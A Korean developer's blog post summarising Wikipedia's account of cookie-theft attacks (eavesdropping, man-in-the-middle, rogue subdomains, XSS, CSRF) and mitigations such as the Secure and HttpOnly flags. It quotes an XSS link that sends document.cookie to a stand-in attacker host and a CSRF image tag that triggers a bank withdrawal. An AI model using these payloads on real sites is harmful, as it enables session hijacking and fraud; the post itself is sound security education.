[브라우저] 쿠키 도둑들의 종류

ChoiYongHyeun·2024년 3월 18일
0

브라우저

목록 보기
7/16

JWT 토큰에 대해 공부하기 위해서 Cookie -> Session -> JWT 순으로 공부해나가던 중

쿠키에 관련된 위키 피디아를 읽다가 쿠키를 사용하면 발생 할 수 있는 문제들에 대해

잘 정리된 글이 있어 정리해보려 한다.

HTTP-cookie


쿠키 도둑이 쿠키를 원하는 이유

쿠키는 종종 클라이언트와 서버 간 인증 , 인가를 위해 클라이언트의 민감한 정보를

담고 있는 경우가 있다.

민감한 정보를 담고 있는 쿠키가 버젓이 request , response header 내에 담겨서 인터넷을 향유 할 때

쿠키 도둑들이 쿠키만 잘 훔쳐간다면 민감한 정보를 얻는 것 뿐이 아니라 ,

해당 쿠키를 이용해 악용하는 것도 가능하다.

그럼 쿠키 도둑들이 쿠키를 어떻게 훔치거나 , 어떻게 악용할까 ?

Network eavesdropping

네트워크 도청이라고 불리는 이 행위는 주로 어떤 클라이언트가 민감한 내용이 담긴 쿠키를 공개 와이파이와 같은 unencrypted network 를 이용 할 때 일어난다.

보안화가 되지 않은 HTTP 를 이용하는 네트워크에서 민감한 정보가 담긴 쿠키는

기존 서버에서 인코딩을 해두지 않았다면 민감한 정보 그대로 탈취된다. (만일 인코딩을 해뒀더라도 디코딩을 시도 할 수 있다.)

이처럼 보안이 제대로 이뤄지지 않은 네트워크에서 쿠키에 민감한 정보를 담는 것은 man-in-the-middle attack 에 취약하다.

Man in the middle attack

Man in the middle attack 은 두 개 이상의 호스트 간 연결을 주고 받을 때 연결 사이에 존재하여 두 호스트 간의 연결을 탈취하거나 , 변경하는 행위를 의미한다. 예시를 살펴보면 더 명확하게 이해가 된다.

이렇게 보안이 취약한 네트워크에서 민감한 정보가 담긴 쿠키를 전송하지 않도록 Secure 프로퍼티를 설정해줌으로서

HTTPS 통신이 아닌 경우엔 쿠키가 전송되지 않도록 하는 해결 방법이 존재한다.

Publishing false sub-domain

이전 글에서 `Cookie` 의 스코프를 지정하는 프로퍼티 중 `domain` 프로퍼티에 대해 이야기 했었다.

domain 프로퍼티는 설정된 domain 부터 하위 도메인까지의 경로로 Cookie 를 제공한다고 했다.

예를 들어 domain = example.com 으로 지정된 쿠키는

example.com 뿐이 아니라 www.example.com , www.anything.example.com 등 어떤

하위 도메인에도 모두 쿠키를 제공한다.

이에 쿠키 도둑이 www.example.com 의 클라이언트들의 쿠키를 훔쳐가려고 한다 해보자

쿠키도둑은 DNS server 를 이용해 쿠키 도둑의 컴퓨터를 가리키는 IP 주소를

http://cookietheft.www.example.com/img_4_cookie.jpg 라는 이름으로 변경한 후

www.example.com 의 쿠키를 가지고 있는 사람들이 쿠키 도둑의 해당 이미지를 클릭하는 순간

www.example.com 의 쿠키가 쿠키도둑의 서버로 전송된다.

하위도메인이기 때문이다.

이를 해결하기 위해서는 쿠키가 비교적 안전한 서버인 HTTPS 프로토콜을 이용하는 서버와 통신하도록 하는 Secure 프로퍼티를 켜줄 수 있다.


Cross-site scripting : cookie theft

XSS 라고 불리는 Cross site scripting 은 웹 사이트에서 쿠키도둑이 HTML , Javscript 등의 언어를 이용해 리소스를 만드는 것이 가능하고 그러한 내용들이

따로 필터링이 되지 않는 경우 자주 사용된다.

예를 들어

www.example.com 이란 사이트에서 쿠키도둑이 사용자들에게 다음과 같은 문구를 메시지로 제공했다고 해보자

<a href="#" onclick="window.location = 'http://attacker.com/stole.cgi?text='
+ escape(document.cookie); return false;">Click here!</a>

만일 해당 a 태그를 www.example.com 에 존재하는 사용자가 클릭 할 경우

쿠키 도둑의 서버 측으로 현재 저장되어 있는 document.cookie 가 요청으로 들어가게 될 것이다.

이러한 방법을 방지하기 위해서는 쿠키의 HttpOnly 를 설정해줘 `scripting language 등으로 접근 불가능하게 해야 할 것이다.


Cross-site request forgery (CSRF)

Cross-site request forgery 는 피해자가 의도하지 않았던 요청을 하게 만드는 행위다.

예시를 보면 직관적으로 이해가 되는데

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

www.bank.example.com 에서 다음처럼 URL params 를 이용해 요청을 받고

쿠키에 딸려오는 인가 정보를 이용해 요청을 수행한다고 해보자

만약 위와 같은 이미지를 bank.example.com 에 쿠키를 가지고 있는 bob 이 게시글을 작성하는 경우

bob 의 브라우저는 자동으로 해당 src 주소로 GET 요청을 보내게 될 것이다.

이 때 만약 bob 의 컴퓨터에 bank.example.com 에 필요한 인가 정보 쿠키가 남아있다면

꼼짝없이 돈이 mallory 에게 털리게 된다.


와우 추상적으로 쿠키가 털릴 수 있으니 조심히 써야 한다는 이야기는 많이 들었지만

이렇게 예시를 통해 보게 되니 좀 더 명확히 이해가 되는 느낌이다.

위키피디아는 처음 보는데 생각보다 글이 친절하고 좋다.

자주 이용해야겠다.

profile
빨리 가는 유일한 방법은 제대로 가는 것이다

0개의 댓글